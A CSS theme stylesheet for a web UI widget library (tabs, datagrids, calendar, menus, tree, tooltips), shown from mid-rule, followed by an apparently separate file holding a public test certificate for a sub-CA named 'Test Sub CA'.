-webkit-linear-gradient(top, #ffffff 0, #F2F2F2 100%); background: -moz-linear-gradient(top, #ffffff 0, #F2F2F2 100%); background: -o-linear-gradient(top, #ffffff 0, #F2F2F2 100%); background: linear-gradient(to bottom, #ffffff 0, #F2F2F2 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#F2F2F2, GradientType=0); } .tabs-header, .tabs-tool { background-color: #F2F2F2; } .tabs-header-plain { background: transparent; } .tabs-header, .tabs-scroller-left, .tabs-scroller-right, .tabs-tool, .tabs, .tabs-panels, .tabs li a.tabs-inner, .tabs li.tabs-selected a.tabs-inner, .tabs-header-bottom .tabs li.tabs-selected a.tabs-inner, .tabs-header-left .tabs li.tabs-selected a.tabs-inner, .tabs-header-right .tabs li.tabs-selected a.tabs-inner { border-color: #D4D4D4; } .tabs-p-tool a:hover, .tabs li a:hover.tabs-close, .tabs-scroller-over { background-color: #e6e6e6; } .tabs li.tabs-selected a.tabs-inner { border-bottom: 1px solid #ffffff; } .tabs-header-bottom .tabs li.tabs-selected a.tabs-inner { border-top: 1px solid #ffffff; } .tabs-header-left .tabs li.tabs-selected a.tabs-inner { border-right: 1px solid #ffffff; } .tabs-header-right .tabs li.tabs-selected a.tabs-inner { border-left: 1px solid #ffffff; } a.l-btn { background-position: right 0; text-decoration: none; display: inline-block; zoom: 1; height: 24px; padding-right: 18px; cursor: pointer; outline: none; } a.l-btn-plain { padding-right: 5px; border: 0; padding: 1px 6px 1px 1px; } a.l-btn-disabled { color: #ccc; opacity: 0.5; filter: alpha(opacity=50); cursor: default; } a.l-btn span.l-btn-left { display: inline-block; background-position: 0 -48px; padding: 4px 0px 4px 18px; line-height: 16px; height: 16px; } a.l-btn-plain span.l-btn-left { padding-left: 5px; } a.l-btn span span.l-btn-text { display: inline-block; vertical-align: baseline; width: auto; height: 16px; line-height: 16px; font-size: 12px; padding: 0; margin: 0; } a.l-btn span span.l-btn-icon-left { padding: 0 0 0 20px; background-position: left center; } a.l-btn span span.l-btn-icon-right { padding: 0 20px 0 0; background-position: right center; } a.l-btn span span span.l-btn-empty { display: inline-block; margin: 0; padding: 0; width: 16px; } a:hover.l-btn { background-position: right -24px; outline: none; text-decoration: none; } a:hover.l-btn span.l-btn-left { background-position: 0 bottom; } a:hover.l-btn-plain { padding: 0 5px 0 0; } a:hover.l-btn-disabled { background-position: right 0; } a:hover.l-btn-disabled span.l-btn-left { background-position: 0 -48px; } a.l-btn .l-btn-focus { outline: #0000FF dotted thin; } a.l-btn { color: #444; background-image: url('images/linkbutton_bg.png'); background-repeat: no-repeat; background: #f5f5f5; background-repeat: repeat-x; border: 1px solid #bbb; background: -webkit-linear-gradient(top, #ffffff 0, #e6e6e6 100%); background: -moz-linear-gradient(top, #ffffff 0, #e6e6e6 100%); background: -o-linear-gradient(top, #ffffff 0, #e6e6e6 100%); background: linear-gradient(to bottom, #ffffff 0, #e6e6e6 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#e6e6e6, GradientType=0); -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; } a.l-btn span.l-btn-left { background-image: url('images/linkbutton_bg.png'); background-repeat: no-repeat; background-image: none; } a:hover.l-btn { background: #e6e6e6; color: #00438a; border: 1px solid #ddd; filter: none; } a.l-btn-plain, a.l-btn-plain span.l-btn-left { background: transparent; border: 0; filter: none; } a:hover.l-btn-plain { background: #e6e6e6; color: #00438a; border: 1px solid #ddd; -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; } a.l-btn-disabled, a:hover.l-btn-disabled { color: #444; filter: alpha(opacity=50); background: #f5f5f5; color: #444; background: -webkit-linear-gradient(top, #ffffff 0, #e6e6e6 100%); background: -moz-linear-gradient(top, #ffffff 0, #e6e6e6 100%); background: -o-linear-gradient(top, #ffffff 0, #e6e6e6 100%); background: linear-gradient(to bottom, #ffffff 0, #e6e6e6 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#e6e6e6, GradientType=0); filter: alpha(opacity=50) progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#e6e6e6, GradientType=0); } a.l-btn-plain-disabled, a:hover.l-btn-plain-disabled { background: transparent; filter: alpha(opacity=50); } a.l-btn-selected, a:hover.l-btn-selected { background-position: right -24px; background: #ddd; filter: none; } a.l-btn-selected span.l-btn-left, a:hover.l-btn-selected span.l-btn-left { background-position: 0 bottom; background-image: none; } a.l-btn-plain-selected, a:hover.l-btn-plain-selected { background: #ddd; } .datagrid .panel-body { overflow: hidden; position: relative; } .datagrid-view { position: relative; overflow: hidden; } .datagrid-view1, .datagrid-view2 { position: absolute; overflow: hidden; top: 0; } .datagrid-view1 { left: 0; } .datagrid-view2 { right: 0; } .datagrid-mask { position: absolute; left: 0; top: 0; width: 100%; height: 100%; opacity: 0.3; filter: alpha(opacity=30); display: none; } .datagrid-mask-msg { position: absolute; top: 50%; margin-top: -20px; padding: 12px 5px 10px 30px; width: auto; height: 16px; border-width: 2px; border-style: solid; display: none; } .datagrid-sort-icon { padding: 0; } .datagrid-toolbar { height: auto; padding: 1px 2px; border-width: 0 0 1px 0; border-style: solid; } .datagrid-btn-separator { float: left; height: 24px; border-left: 1px solid #ccc; border-right: 1px solid #fff; margin: 2px 1px; } .datagrid .datagrid-pager { margin: 0; border-width: 1px 0 0 0; border-style: solid; } .datagrid .datagrid-pager-top { border-width: 0 0 1px 0; } .datagrid-header { overflow: hidden; cursor: default; border-width: 0 0 1px 0; border-style: solid; } .datagrid-header-inner { float: left; width: 10000px; } .datagrid-header-row, .datagrid-row { height: 25px; } .datagrid-header td, .datagrid-body td, .datagrid-footer td { border-width: 0 1px 1px 0; border-style: dotted; margin: 0; padding: 0; } .datagrid-cell, .datagrid-cell-group, .datagrid-header-rownumber, .datagrid-cell-rownumber { margin: 0; padding: 0 4px; white-space: nowrap; word-wrap: normal; overflow: hidden; height: 18px; line-height: 18px; font-weight: normal; font-size: 12px; } .datagrid-header .datagrid-cell { height: auto; } .datagrid-header .datagrid-cell span { font-size: 12px; } .datagrid-cell-group { text-align: center; } .datagrid-header-rownumber, .datagrid-cell-rownumber { width: 25px; text-align: center; margin: 0; padding: 0; } .datagrid-body { margin: 0; padding: 0; overflow: auto; zoom: 1; } .datagrid-view1 .datagrid-body-inner { padding-bottom: 20px; } .datagrid-view1 .datagrid-body { overflow: hidden; } .datagrid-footer { overflow: hidden; } .datagrid-footer-inner { border-width: 1px 0 0 0; border-style: solid; width: 10000px; float: left; } .datagrid-row-editing .datagrid-cell { height: auto; } .datagrid-header-check, .datagrid-cell-check { padding: 0; width: 27px; height: 18px; font-size: 1px; text-align: center; overflow: hidden; } .datagrid-header-check input, .datagrid-cell-check input { margin: 0; padding: 0; width: 15px; height: 18px; } .datagrid-resize-proxy { position: absolute; width: 1px; height: 10000px; top: 0; cursor: e-resize; display: none; } .datagrid-body .datagrid-editable { margin: 0; padding: 0; } .datagrid-body .datagrid-editable table { width: 100%; height: 100%; } .datagrid-body .datagrid-editable td { border: 0; margin: 0; padding: 0; } .datagrid-body .datagrid-editable .datagrid-editable-input { margin: 0; padding: 2px; border-width: 1px; border-style: solid; } .datagrid-sort-desc .datagrid-sort-icon { padding: 0 13px 0 0; background: url('images/datagrid_icons.png') no-repeat -16px center; } .datagrid-sort-asc .datagrid-sort-icon { padding: 0 13px 0 0; background: url('images/datagrid_icons.png') no-repeat 0px center; } .datagrid-row-collapse { background: url('images/datagrid_icons.png') no-repeat -48px center; } .datagrid-row-expand { background: url('images/datagrid_icons.png') no-repeat -32px center; } .datagrid-mask-msg { background: #ffffff url('images/loading.gif') no-repeat scroll 5px center; } .datagrid-header, .datagrid-td-rownumber { background-color: #F2F2F2; background: -webkit-linear-gradient(top, #ffffff 0, #F2F2F2 100%); background: -moz-linear-gradient(top, #ffffff 0, #F2F2F2 100%); background: -o-linear-gradient(top, #ffffff 0, #F2F2F2 100%); background: linear-gradient(to bottom, #ffffff 0, #F2F2F2 100%); background-repeat: repeat-x; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ffffff, endColorstr=#F2F2F2, GradientType=0); } .datagrid-cell-rownumber { color: #333; } .datagrid-resize-proxy { background: #bbb; } .datagrid-mask { background: #ccc; } .datagrid-mask-msg { border-color: #D4D4D4; } .datagrid-toolbar, .datagrid-pager { background: #F5F5F5; } .datagrid-header, .datagrid-toolbar, .datagrid-pager, .datagrid-footer-inner { border-color: #e6e6e6; } .datagrid-header td, .datagrid-body td, .datagrid-footer td { border-color: #ccc; } .datagrid-htable, .datagrid-btable, .datagrid-ftable { color: #333; } .datagrid-row-alt { background: #F5F5F5; } .datagrid-row-over, .datagrid-header td.datagrid-header-over { background: #e6e6e6; color: #00438a; cursor: default; } .datagrid-row-selected { background: #0081c2; color: #fff; } .datagrid-body .datagrid-editable .datagrid-editable-input { border-color: #D4D4D4; } .propertygrid .datagrid-view1 .datagrid-body td { padding-bottom: 1px; border-width: 0 1px 0 0; } .propertygrid .datagrid-group { height: 21px; overflow: hidden; border-width: 0 0 1px 0; border-style: solid; } .propertygrid .datagrid-group span { font-weight: bold; } .propertygrid .datagrid-view1 .datagrid-body td { border-color: #e6e6e6; } .propertygrid .datagrid-view1 .datagrid-group { border-color: #F2F2F2; } .propertygrid .datagrid-view2 .datagrid-group { border-color: #e6e6e6; } .propertygrid .datagrid-group, .propertygrid .datagrid-view1 .datagrid-body, .propertygrid .datagrid-view1 .datagrid-row-over, .propertygrid .datagrid-view1 .datagrid-row-selected { background: #F2F2F2; } .pagination { zoom: 1; } .pagination table { float: left; height: 30px; } .pagination td { border: 0; } .pagination-btn-separator { float: left; height: 24px; border-left: 1px solid #ccc; border-right: 1px solid #fff; margin: 3px 1px; } .pagination .pagination-num { border-width: 1px; border-style: solid; margin: 0 2px; padding: 2px; width: 2em; height: auto; } .pagination-page-list { margin: 0px 6px; padding: 1px 2px; width: auto; height: auto; border-width: 1px; border-style: solid; } .pagination-info { float: right; margin: 0 6px 0 0; padding: 0; height: 30px; line-height: 30px; font-size: 12px; } .pagination span { font-size: 12px; } .pagination-first { background: url('images/pagination_icons.png') no-repeat 0 0; } .pagination-prev { background: url('images/pagination_icons.png') no-repeat -16px 0; } .pagination-next { background: url('images/pagination_icons.png') no-repeat -32px 0; } .pagination-last { background: url('images/pagination_icons.png') no-repeat -48px 0; } .pagination-load { background: url('images/pagination_icons.png') no-repeat -64px 0; } .pagination-loading { background: url('images/loading.gif') no-repeat; } .pagination-page-list, .pagination .pagination-num { border-color: #D4D4D4; } .calendar { border-width: 1px; border-style: solid; padding: 1px; overflow: hidden; } .calendar table { border-collapse: separate; font-size: 12px; width: 100%; height: 100%; } .calendar table td, .calendar table th { font-size: 12px; } .calendar-noborder { border: 0; } .calendar-header { position: relative; height: 22px; } .calendar-title { text-align: center; height: 22px; } .calendar-title span { position: relative; display: inline-block; top: 2px; padding: 0 3px; height: 18px; line-height: 18px; font-size: 12px; cursor: pointer; -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; } .calendar-prevmonth, .calendar-nextmonth, .calendar-prevyear, .calendar-nextyear { position: absolute; top: 50%; margin-top: -7px; width: 14px; height: 14px; cursor: pointer; font-size: 1px; -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; } .calendar-prevmonth { left: 20px; background: url('images/calendar_arrows.png') no-repeat -18px -2px; } .calendar-nextmonth { right: 20px; background: url('images/calendar_arrows.png') no-repeat -34px -2px; } .calendar-prevyear { left: 3px; background: url('images/calendar_arrows.png') no-repeat -1px -2px; } .calendar-nextyear { right: 3px; background: url('images/calendar_arrows.png') no-repeat -49px -2px; } .calendar-body { position: relative; } .calendar-body th, .calendar-body td { text-align: center; } .calendar-day { border: 0; padding: 1px; cursor: pointer; -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; } .calendar-other-month { opacity: 0.3; filter: alpha(opacity=30); } .calendar-menu { position: absolute; top: 0; left: 0; width: 180px; height: 150px; padding: 5px; font-size: 12px; display: none; overflow: hidden; } .calendar-menu-year-inner { text-align: center; padding-bottom: 5px; } .calendar-menu-year { width: 40px; text-align: center; border-width: 1px; border-style: solid; margin: 0; padding: 2px; font-weight: bold; font-size: 12px; } .calendar-menu-prev, .calendar-menu-next { display: inline-block; width: 21px; height: 21px; vertical-align: top; cursor: pointer; -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; } .calendar-menu-prev { margin-right: 10px; background: url('images/calendar_arrows.png') no-repeat 2px 2px; } .calendar-menu-next { margin-left: 10px; background: url('images/calendar_arrows.png') no-repeat -45px 2px; } .calendar-menu-month { text-align: center; cursor: pointer; font-weight: bold; -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; } .calendar-body th, .calendar-menu-month { color: #808080; } .calendar-day { color: #333; } .calendar-sunday { color: #CC2222; } .calendar-saturday { color: #00ee00; } .calendar-today { color: #0000ff; } .calendar-menu-year { border-color: #D4D4D4; } .calendar { border-color: #D4D4D4; } .calendar-header { background: #F2F2F2; } .calendar-body, .calendar-menu { background: #ffffff; } .calendar-body th { background: #F5F5F5; } .calendar-hover, .calendar-nav-hover, .calendar-menu-hover { background-color: #e6e6e6; color: #00438a; } .calendar-hover { border: 1px solid #ddd; padding: 0; } .calendar-selected { background-color: #0081c2; color: #fff; border: 1px solid #0070a9; padding: 0; } .datebox-calendar-inner { height: 180px; } .datebox-button { height: 18px; padding: 2px 5px; text-align: center; } .datebox-button a { font-size: 12px; } .datebox-current, .datebox-close, .datebox-ok { text-decoration: none; font-weight: bold; opacity: 0.6; filter: alpha(opacity=60); } .datebox-current, .datebox-close { float: left; } .datebox-close { float: right; } .datebox-button-hover { opacity: 1.0; filter: alpha(opacity=100); } .datebox .combo-arrow { background-image: url('images/datebox_arrow.png'); background-position: center center; } .datebox-button { background-color: #F5F5F5; } .datebox-current, .datebox-close, .datebox-ok { color: #444; } .spinner { display: inline-block; white-space: nowrap; margin: 0; padding: 0; border-width: 1px; border-style: solid; overflow: hidden; vertical-align: middle; } .spinner .spinner-text { font-size: 12px; border: 0px; line-height: 20px; height: 20px; margin: 0; padding: 0 2px; *margin-top: -1px; *height: 18px; *line-height: 18px; _height: 18px; _line-height: 18px; vertical-align: baseline; } .spinner-arrow { display: inline-block; overflow: hidden; vertical-align: top; margin: 0; padding: 0; } .spinner-arrow-up, .spinner-arrow-down { opacity: 0.6; filter: alpha(opacity=60); display: block; font-size: 1px; width: 18px; height: 10px; } .spinner-arrow-hover { opacity: 1.0; filter: alpha(opacity=100); } .spinner-arrow-up { background: url('images/spinner_arrows.png') no-repeat 1px center; } .spinner-arrow-down { background: url('images/spinner_arrows.png') no-repeat -15px center; } .spinner { border-color: #D4D4D4; } .spinner-arrow { background-color: #F2F2F2; } .spinner-arrow-hover { background-color: #e6e6e6; } .progressbar { border-width: 1px; border-style: solid; -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; overflow: hidden; } .progressbar-text { text-align: center; position: absolute; } .progressbar-value { position: relative; overflow: hidden; width: 0; -moz-border-radius: 5px 0 0 5px; -webkit-border-radius: 5px 0 0 5px; border-radius: 5px 0 0 5px; } .progressbar { border-color: #D4D4D4; } .progressbar-text { color: #333; font-size: 12px; } .progressbar-value .progressbar-text { background-color: #0081c2; color: #fff; } .searchbox { display: inline-block; white-space: nowrap; margin: 0; padding: 0; border-width: 1px; border-style: solid; overflow: hidden; } .searchbox .searchbox-text { font-size: 12px; border: 0; margin: 0; padding: 0; line-height: 20px; height: 20px; *margin-top: -1px; *height: 18px; *line-height: 18px; _height: 18px; _line-height: 18px; vertical-align: baseline; } .searchbox .searchbox-prompt { font-size: 12px; color: #ccc; } .searchbox-button { width: 18px; height: 20px; overflow: hidden; display: inline-block; vertical-align: top; cursor: pointer; opacity: 0.6; filter: alpha(opacity=60); } .searchbox-button-hover { opacity: 1.0; filter: alpha(opacity=100); } .searchbox a.l-btn-plain { height: 20px; border: 0; padding: 0 6px 0 0; vertical-align: top; -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0; opacity: 0.6; filter: alpha(opacity=60); } .searchbox a.l-btn .l-btn-left { padding: 2px 0 2px 4px; } .searchbox a.l-btn-plain:hover { -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0; border: 0; padding: 0 6px 0 0; opacity: 1.0; filter: alpha(opacity=100); } .searchbox a.m-btn-plain-active { -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0; } .searchbox-button { background: url('images/searchbox_button.png') no-repeat center center; } .searchbox { border-color: #D4D4D4; background-color: #fff; } .searchbox a.l-btn-plain { background: #F2F2F2; } .slider-disabled { opacity: 0.5; filter: alpha(opacity=50); } .slider-h { height: 22px; } .slider-v { width: 22px; } .slider-inner { position: relative; height: 6px; top: 7px; border-width: 1px; border-style: solid; border-radius: 5px; } .slider-handle { position: absolute; display: block; outline: none; width: 20px; height: 20px; top: -7px; margin-left: -10px; } .slider-tip { position: absolute; display: inline-block; line-height: 12px; font-size: 12px; white-space: nowrap; top: -22px; } .slider-rule { position: relative; top: 15px; } .slider-rule span { position: absolute; display: inline-block; font-size: 0; height: 5px; border-width: 0 0 0 1px; border-style: solid; } .slider-rulelabel { position: relative; top: 20px; } .slider-rulelabel span { position: absolute; display: inline-block; font-size: 12px; } .slider-v .slider-inner { width: 6px; left: 7px; top: 0; float: left; } .slider-v .slider-handle { left: 3px; margin-top: -10px; } .slider-v .slider-tip { left: -10px; margin-top: -6px; } .slider-v .slider-rule { float: left; top: 0; left: 16px; } .slider-v .slider-rule span { width: 5px; height: 'auto'; border-left: 0; border-width: 1px 0 0 0; border-style: solid; } .slider-v .slider-rulelabel { float: left; top: 0; left: 23px; } .slider-handle { background: url('images/slider_handle.png') no-repeat; } .slider-inner { border-color: #D4D4D4; background: #F2F2F2; } .slider-rule span { border-color: #D4D4D4; } .slider-rulelabel span { color: #333; } .menu { position: absolute; margin: 0; padding: 2px; border-width: 1px; border-style: solid; overflow: hidden; } .menu-item { position: relative; margin: 0; padding: 0; overflow: hidden; white-space: nowrap; cursor: pointer; border-width: 1px; border-style: solid; } .menu-text { height: 20px; line-height: 20px; float: left; padding-left: 28px; } .menu-icon { position: absolute; width: 16px; height: 16px; left: 2px; top: 50%; margin-top: -8px; } .menu-rightarrow { position: absolute; width: 16px; height: 16px; right: 0; top: 50%; margin-top: -8px; } .menu-line { position: absolute; left: 26px; top: 0; height: 2000px; font-size: 1px; } .menu-sep { margin: 3px 0px 3px 25px; font-size: 1px; } .menu-active { -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; } .menu-item-disabled { opacity: 0.5; filter: alpha(opacity=50); cursor: default; } .menu-text, .menu-text span { font-size: 12px; } .menu-shadow { position: absolute; -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; background: #ccc; -moz-box-shadow: 2px 2px 3px #cccccc; -webkit-box-shadow: 2px 2px 3px #cccccc; box-shadow: 2px 2px 3px #cccccc; filter: progid:DXImageTransform.Microsoft.Blur(pixelRadius=2, MakeShadow=false, ShadowOpacity=0.2); } .menu-rightarrow { background: url('images/menu_arrows.png') no-repeat -32px center; } .menu-line { border-left: 1px solid #ccc; border-right: 1px solid #fff; } .menu-sep { border-top: 1px solid #ccc; border-bottom: 1px solid #fff; } .menu { background-color: #fff; border-color: #e6e6e6; color: #333; } .menu-content { background: #ffffff; } .menu-item { border-color: transparent; _border-color: #fff; } .menu-active { border-color: #ddd; color: #00438a; background: #e6e6e6; } .menu-active-disabled { border-color: transparent; background: transparent; color: #333; } .m-btn-downarrow { display: inline-block; width: 16px; height: 16px; line-height: 16px; font-size: 12px; _vertical-align: middle; } a.m-btn-active { background-position: bottom right; } a.m-btn-active span.l-btn-left { background-position: bottom left; } a.m-btn-plain-active { background: transparent; padding: 0 5px 0 0; border-width: 1px; border-style: solid; -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; } .m-btn-downarrow { background: url('images/menu_arrows.png') no-repeat 2px center; } a.m-btn-plain-active { border-color: #ddd; background-color: #e6e6e6; color: #00438a; } .s-btn-downarrow { display: inline-block; margin: 0 0 0 4px; padding: 0 0 0 1px; width: 14px; height: 16px; line-height: 16px; border-width: 0; border-style: solid; font-size: 12px; _vertical-align: middle; } a.s-btn-active { background-position: bottom right; } a.s-btn-active span.l-btn-left { background-position: bottom left; } a.s-btn-plain-active { background: transparent; padding: 0 5px 0 0; border-width: 1px; border-style: solid; -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; } .s-btn-downarrow { background: url('images/menu_arrows.png') no-repeat 2px center; border-color: #bbb; } a:hover.l-btn .s-btn-downarrow, a.s-btn-active .s-btn-downarrow, a.s-btn-plain-active .s-btn-downarrow { background-position: 1px center; padding: 0; border-width: 0 0 0 1px; } a.s-btn-plain-active { border-color: #ddd; background-color: #e6e6e6; color: #00438a; } .messager-body { padding: 10px; overflow: hidden; } .messager-button { text-align: center; padding-top: 10px; } .messager-icon { float: left; width: 32px; height: 32px; margin: 0 10px 10px 0; } .messager-error { background: url('images/messager_icons.png') no-repeat scroll -64px 0; } .messager-info { background: url('images/messager_icons.png') no-repeat scroll 0 0; } .messager-question { background: url('images/messager_icons.png') no-repeat scroll -32px 0; } .messager-warning { background: url('images/messager_icons.png') no-repeat scroll -96px 0; } .messager-progress { padding: 10px; } .messager-p-msg { margin-bottom: 5px; } .messager-body .messager-input { width: 100%; padding: 1px 0; border: 1px solid #D4D4D4; } .tree { margin: 0; padding: 0; list-style-type: none; } .tree li { white-space: nowrap; } .tree li ul { list-style-type: none; margin: 0; padding: 0; } .tree-node { height: 18px; white-space: nowrap; cursor: pointer; } .tree-hit { cursor: pointer; } .tree-expanded, .tree-collapsed, .tree-folder, .tree-file, .tree-checkbox, .tree-indent { display: inline-block; width: 16px; height: 18px; vertical-align: top; overflow: hidden; } .tree-expanded { background: url('images/tree_icons.png') no-repeat -18px 0px; } .tree-expanded-hover { background: url('images/tree_icons.png') no-repeat -50px 0px; } .tree-collapsed { background: url('images/tree_icons.png') no-repeat 0px 0px; } .tree-collapsed-hover { background: url('images/tree_icons.png') no-repeat -32px 0px; } .tree-lines .tree-expanded, .tree-lines .tree-root-first .tree-expanded { background: url('images/tree_icons.png') no-repeat -144px 0; } .tree-lines .tree-collapsed, .tree-lines .tree-root-first .tree-collapsed { background: url('images/tree_icons.png') no-repeat -128px 0; } .tree-lines .tree-node-last .tree-expanded, .tree-lines .tree-root-one .tree-expanded { background: url('images/tree_icons.png') no-repeat -80px 0; } .tree-lines .tree-node-last .tree-collapsed, .tree-lines .tree-root-one .tree-collapsed { background: url('images/tree_icons.png') no-repeat -64px 0; } .tree-line { background: url('images/tree_icons.png') no-repeat -176px 0; } .tree-join { background: url('images/tree_icons.png') no-repeat -192px 0; } .tree-joinbottom { background: url('images/tree_icons.png') no-repeat -160px 0; } .tree-folder { background: url('images/tree_icons.png') no-repeat -208px 0; } .tree-folder-open { background: url('images/tree_icons.png') no-repeat -224px 0; } .tree-file { background: url('images/tree_icons.png') no-repeat -240px 0; } .tree-loading { background: url('images/loading.gif') no-repeat center center; } .tree-checkbox0 { background: url('images/tree_icons.png') no-repeat -208px -18px; } .tree-checkbox1 { background: url('images/tree_icons.png') no-repeat -224px -18px; } .tree-checkbox2 { background: url('images/tree_icons.png') no-repeat -240px -18px; } .tree-title { font-size: 12px; display: inline-block; text-decoration: none; vertical-align: top; white-space: nowrap; padding: 0 2px; height: 18px; line-height: 18px; } .tree-node-proxy { font-size: 12px; line-height: 20px; padding: 0 2px 0 20px; border-width: 1px; border-style: solid; z-index: 9900000; } .tree-dnd-icon { display: inline-block; position: absolute; width: 16px; height: 18px; left: 2px; top: 50%; margin-top: -9px; } .tree-dnd-yes { background: url('images/tree_icons.png') no-repeat -256px 0; } .tree-dnd-no { background: url('images/tree_icons.png') no-repeat -256px -18px; } .tree-node-top { border-top: 1px dotted red; } .tree-node-bottom { border-bottom: 1px dotted red; } .tree-node-append .tree-title { border: 1px dotted red; } .tree-editor { border: 1px solid #ccc; font-size: 12px; height: 14px !important; height: 18px; line-height: 14px; padding: 1px 2px; width: 80px; position: absolute; top: 0; } .tree-node-proxy { background-color: #ffffff; color: #333; border-color: #D4D4D4; } .tree-node-hover { background: #e6e6e6; color: #00438a; } .tree-node-selected { background: #0081c2; color: #fff; } .validatebox-invalid { background-image: url('images/validatebox_warning.png'); background-repeat: no-repeat; background-position: right center; border-color: #ffa8a8; background-color: #fff3f3; color: #000; } .tooltip { position: absolute; display: none; z-index: 9900000; outline: none; padding: 5px; border-width: 1px; border-style: solid; border-radius: 5px; -moz-border-radius: 5px 5px 5px 5px; -webkit-border-radius: 5px 5px 5px 5px; border-radius: 5px 5px 5px 5px; } .tooltip-content { font-size: 12px; } .tooltip-arrow-outer, .tooltip-arrow { position: absolute; width: 0; height: 0; line-height: 0; font-size: 0; border-style: solid; border-width: 6px; border-color: transparent; _border-color: tomato; _filter: chroma(color=tomato); } .tooltip-right .tooltip-arrow-outer { left: 0; top: 50%; margin: -6px 0 0 -13px; } .tooltip-right .tooltip-arrow { left: 0; top: 50%; margin: -6px 0 0 -12px; } .tooltip-left .tooltip-arrow-outer { right: 0; top: 50%; margin: -6px -13px 0 0; } .tooltip-left .tooltip-arrow { right: 0; top: 50%; margin: -6px -12px 0 0; } .tooltip-top .tooltip-arrow-outer { bottom: 0; left: 50%; margin: 0 0 -13px -6px; } .tooltip-top .tooltip-arrow { bottom: 0; left: 50%; margin: 0 0 -12px -6px; } .tooltip-bottom .tooltip-arrow-outer { top: 0; left: 50%; margin: -13px 0 0 -6px; } .tooltip-bottom .tooltip-arrow { top: 0; left: 50%; margin: -12px 0 0 -6px; } .tooltip { background-color: #ffffff; border-color: #D4D4D4; color: #333; } .tooltip-right .tooltip-arrow-outer { border-right-color: #D4D4D4; } .tooltip-right .tooltip-arrow { border-right-color: #ffffff; } .tooltip-left .tooltip-arrow-outer { border-left-color: #D4D4D4; } .tooltip-left .tooltip-arrow { border-left-color: #ffffff; } .tooltip-top .tooltip-arrow-outer { border-top-color: #D4D4D4; } .tooltip-top .tooltip-arrow { border-top-color: #ffffff; } .tooltip-bottom .tooltip-arrow-outer { border-bottom-color: #D4D4D4; } .tooltip-bottom .tooltip-arrow { border-bottom-color: #ffffff; } .tabs-panels { border-color: transparent; } .tabs li a.tabs-inner { border-color: transparent; background: transparent; filter: none; color: #0088CC; } .menu-active { background-color: #0081C2; border-color: #0081C2; color: #fff; } .menu-active-disabled { border-color: transparent; background: transparent; color: #333; }
{ "pile_set_name": "Github" }
-----BEGIN CERTIFICATE----- MIIDTjCCAjagAwIBAgICUhowDQYJKoZIhvcNAQELBQAwITESMBAGA1UEAwwJVGVz dCBSb290MQswCQYDVQQGEwJERTAeFw0xNzA3MjYxMzI1NDlaFw0yMDA3MjcxMzI1 NDlaMCMxFDASBgNVBAMMC1Rlc3QgU3ViIENBMQswCQYDVQQGEwJERTCCASIwDQYJ KoZIhvcNAQEBBQADggEPADCCAQoCggEBALCFLJmzmejO9iDEac7Lcx7vwJtIcv+A i/3emB6Woi9JLnWwBeVOgAG1gs2DHBWvrWsxv5CB+udOAwcMXGnw3Oa6MyRZ+sPT wRVNGtmhEAV0PKMP2nwAnY5J4xhBRADt9G89ApKGTE3ZTj4Yy4soau0YV6+SfOe5 QcwvH+csEB9VadR/Xui3ju+qEG0lqpaGBUEgt0fj1vABXQly4dVrraP3antW5jr0 7zhgZfExzvUaZNxhIv1uEdz19UyprnvLYbEZ5GdRJDfdgVBuVQ9u07NSwQXPMBWT b/vCUHic/QUD3EteYE8AGQ+gkw9zedsPRuqyV7zke4rsHEPOPIGnU9UCAwEAAaOB jTCBijATBgNVHSABAf8ECTAHMAUGAyoDBDAPBgNVHSQBAf8EBTADgAEAMB8GA1Ud IwQYMBaAFMdPGIQtfK+M/IY/TwhCE9klQGpwMB0GA1UdDgQWBBSiLq3t6LFDjstW bfGTZvOk6D+A6DAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBADAN BgkqhkiG9w0BAQsFAAOCAQEAIXDrrLzt5W7eNFKM+ZyIJLT47usEIsFYmZY+D+h6 /d3UD5kRCMKbiptU+TdsKkwTNvfMWq9X34tu/+YgMOlkdOpxshm68iGMPtOA3QKl ruTIUGdJRmT1TG60euXMHaXnU74cM30BpSFwibzQfnltcPsFwu6hE8O0KRFzbFUO Ym6/j/P0zV+B36MM2LkceorI6NEbmKtnMQT+0lbBYhmvzlNnhIzZnmy58rX+bTZu hfo//BX5JLvJS2h3fzRjilLBuQOyCELmW5NQYQwZfgQBw3NZxpBhkj3Gsb4rWlNw dmUpvhK3aS35VKsV9CuOmBTl/Q56NLj6KM+H/8/f8u61Qg== -----END CERTIFICATE-----
{ "pile_set_name": "Github" }
